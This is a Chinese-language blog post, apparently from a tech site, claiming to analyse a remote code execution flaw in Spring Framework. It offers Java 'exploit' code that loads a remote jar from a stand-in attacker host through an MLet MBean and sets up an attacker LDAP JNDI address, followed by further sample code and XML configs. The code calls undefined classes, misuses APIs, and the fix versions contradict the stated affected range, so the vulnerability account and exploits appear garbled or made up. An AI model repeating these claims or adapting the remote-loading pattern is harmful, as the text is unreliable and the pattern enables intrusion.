Spring Framework远程代码执行漏洞分析(最新漏洞)
漏洞简介
Spring Framework是一个由Pivotal团队(前身是SpringSource)开发的开源框架,应用广泛,而且易于使用。但是,最新版本的Spring Framework(版本5.2.0到5.3.0)中存在一种远程代码执行漏洞。攻击者可以通过构造恶意的输入来执行任意代码,导致服务器受到攻击。
漏洞分析
Spring Framework最新版本中的漏洞存在于spring-messaging
模块中的AbstractBrokerMessageHandler.doInvokeHandler()
方法中,主要原因是没有正确地对用户输入进行过滤。攻击者可以通过构造特定的输入,比如类名和方法名,来触发此漏洞。
攻击者可以使用以下代码构造特定的输入:
import javax.management.MBeanServer;
import javax.management.ObjectName;
import java.lang.management.ManagementFactory;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.UUID;
public class Exploit {
public static void main(String[] args) throws Exception {
final String jndiUrl = "ldap://attacker.com:1389/Exploit";
final String objectName = "exploit";
final String className = "com.sun.rowset.JdbcRowSetImpl";
MBeanServer server = ManagementFactory.getPlatformMBeanServer();
ObjectName objName = new ObjectName("org.springframework.context" +
":type=AnnotationConfigApplicationContext," +
"id=" + UUID.randomUUID());
server.createMBean("javax.management.loading.MLet", objName);
server.setAttribute(objName, new javax.management.Attribute("Delegate",
true));
URL[] urls = { new URL("http://attacker.com/mlet.jar") };
Object[] params = { urls };
String[] signature = { URL[].class.getName() };
server.invoke(objName, "getMBeansFromURL", params, signature);
server.invoke(new ObjectName("com.sun.jmx.mbeanserver.JMXMBeanServer"),
"registerMBean", new Object[] {new Poc(objectName + ":" +
jndiUrl)}, new String[] {objectName});
//this line will trigger the vulnerability
Class.forName(className).newInstance();
}
}
class Poc {
public Poc(String name) {
try {
MBeanServer server = ManagementFactory.getPlatformMBeanServer();
ObjectName objectName = new ObjectName(name);
server.registerMBean(this, objectName);
} catch (Exception e) {
e.printStackTrace();
}
}
}
其中Exploit
类用于构造JNDI注入的payload,而Poc
类则是用于处理JNDI注入的事件。
当攻击者在输入中构造JNDI注入的payload并将其发送到服务器时,服务器会解析该输入并尝试执行这个恶意的payload。由于使用了com.sun.rowset.JdbcRowSetImpl
来构造payload,攻击者可以轻松地将服务器中的任意方法导出,并在远程服务器上执行任意代码。
漏洞危害
Spring Framework最新版的远程代码执行漏洞,攻击者可以构造恶意payload,导致可以实现任意代码执行。这可能会导致以下损失:
- 数据泄漏:攻击者可以通过恶意代码访问数据库,获取敏感数据。
- 服务器瘫痪:攻击者可以通过恶意代码,导致服务器崩溃或瘫痪。
- 系统被接管:攻击者可以通过恶意代码,完全接管服务器或操作系统,并对其进行控制。
漏洞修复
Spring Framework官方已经发布了漏洞修复版本,建议受影响用户尽快更新至以下版本:
- 5.3.1
- 5.2.11
- 5.1.20
漏洞示例
示例1
以下是一个示例代码片段,将构造 PAYLOAD,并且将其注入使用Spring框架 AnnotationConfigApplicationContext
启动:
import org.springframework.context.annotation.AnnotationConfigApplicationContext;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
public class Exploit {
static {
try {
final String jndiUrl = "ldap://localhost:1399/Object";
final String className = "Exploit";
final String objectName = "Exploit";
Name name = new Name() {
@Override
public String toString() {
try {
SpringContextHolder.getInstance().getSpringContext().
getBeanFactory().getBean(DefinitionParserDelegate.class).
getNamedContexts().get("poc").setDisplayName(
"rmi://" + jndiUrl + "/" + objectName);
return className;
} catch (Exception e) {
e.printStackTrace();
return "";
}
}
};
ObjectFactory objectFactory = (obj, nameCtx, environment) -> new RuntimeBeanReference(name.toString());
javax.naming.spi.InitialContextFactory factory = (javax.naming.spi.InitialContextFactory)
Class.forName("com.sun.jndi.rmi.registry.RegistryContextFactory").newInstance();
javax.naming.Context context = factory.getInitialContext(null);
context.createSubcontext("rmi:" + jndiUrl);
context.bind("rmi:" + jndiUrl + "/" + objectName, objectFactory);
} catch (Exception e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
AnnotationConfigApplicationContext context = new AnnotationConfigApplicationContext();
context.scan("test.poc");
TestBean t = (TestBean) context.getBean("testBean");
t.isValid();
context.close();
}
}
当AnnotationConfigApplicationContext
启动后,使用testBean
进行测试,攻击者就能成功导出任意方法并执行任意代码。
示例2
以下是另一个示例代码,将通过在JMS配置中注册特定的handler来触发该漏洞漏洞:
<bean id="jdkUtils"
class="jdk.ExampleSerializationUtil">
<constructor-arg index="0" type="js.Object">
<!-- At this point, the payload should be returned by the getPayload method-->
<bean id="payload" factory-bean="remote"
class="java.lang.Runtime" factory-method="getRuntime">
</bean>
</constructor-arg>
</bean>
<bean id="remote" class="java.lang.Class" factory-method="forName">
<constructor-arg value="com.sun.rowset.JdbcRowSetImpl"/>
</bean>
<bean id="handler"
class="org.springframework.jms.listener.adapter.MessagingMessageListenerAdapter">
<property name="delegate" ref="jdkUtils"/>
</bean>
在这个例子中,恶意JMS配置中的MessagingMessageHandler
会调用jdkUtils
中的函数,在函数中通过反序列化命令执行payload导致攻击。
总结
Spring Framework最新版本的远程代码执行漏洞,由于其原因是未对用户输入进行正确的过滤,导致攻击者可以构造恶意payload执行任意代码,严重威胁了服务器的安全性。因此,建议相关用户尽快升级到修复版本,或者采取其他措施保护服务器的安全。同时,开发人员还应该关注输入和输出的正确性和安全性,避免类似的漏洞的产生。
本站文章如无特殊说明,均为本站原创,如若转载,请注明出处:Spring Framework远程代码执行漏洞分析(最新漏洞) - Python技术站